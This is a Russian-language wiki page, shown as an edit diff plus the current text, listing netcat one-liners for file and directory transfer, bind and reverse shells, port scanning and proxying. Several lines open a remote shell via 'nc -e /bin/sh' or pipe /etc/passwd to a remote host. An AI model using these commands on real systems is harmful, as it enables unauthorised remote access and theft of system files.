Netcat — различия между версиями

Материал из Вікі Фаланстэра
Перейти к: навигация, поиск
(Новая страница: «===Передача файлов=== На передающей стороне cat /etc/passwd | nc ip_приемника порт На принимающей с…»)
 
Строка 3: Строка 3:
 
  cat /etc/passwd | nc ip_приемника порт
 
  cat /etc/passwd | nc ip_приемника порт
 
  На принимающей стороне
 
  На принимающей стороне
  nc -l -p 3333 > filename
+
  nc -l -p порт > filename
  
 
===Шелл===
 
===Шелл===
 
  На сервере
 
  На сервере
  nc -l -p 31334 -e /bin/sh
+
  nc -l -p порт -e /bin/sh
 
  На клиенте
 
  На клиенте
  nc ip_сервера 31334
+
  nc ip_сервера порт
  
 
===Реверс шелл===
 
===Реверс шелл===
 
  На клиенте
 
  На клиенте
  nc -l -p 31334
+
  nc -l -p порт
 
  На сервере
 
  На сервере
  nc -e /bin/sh 172.16.69.143 31334
+
  nc -e /bin/sh Ип клиента порт
  
 
===Портскан===
 
===Портскан===
  nc -v -n -z -w 1 192.168.1.2 1-1000
+
  nc -v -n -z -w 1 ип сервера 1-1000
  
 
===Передача диры===
 
===Передача диры===
 
  На сервере
 
  На сервере
  tar -cf — /data | nc -l -p 6666
+
  tar -cf — /data | nc -l -p порт
 
  На клиенте
 
  На клиенте
  nc 192.168.1.10 6666 | tar -xf -  
+
  nc ип сервера порт | tar -xf -  
  
 
===Прокси===
 
===Прокси===
 
  nc -l -p 12345 | nc www.google.com 80 | nc -l -p 12346
 
  nc -l -p 12345 | nc www.google.com 80 | nc -l -p 12346

Версия 20:54, 2 мая 2013

Передача файлов

На передающей стороне
cat /etc/passwd | nc ip_приемника порт
На принимающей стороне
nc -l -p порт > filename

Шелл

На сервере
nc -l -p порт -e /bin/sh
На клиенте
nc ip_сервера порт

Реверс шелл

На клиенте
nc -l -p порт
На сервере
nc -e /bin/sh Ип клиента порт

Портскан

nc -v -n -z -w 1 ип сервера 1-1000

Передача диры

На сервере
tar -cf — /data | nc -l -p порт 
На клиенте
nc ип сервера порт | tar -xf - 

Прокси

nc -l -p 12345 | nc www.google.com 80 | nc -l -p 12346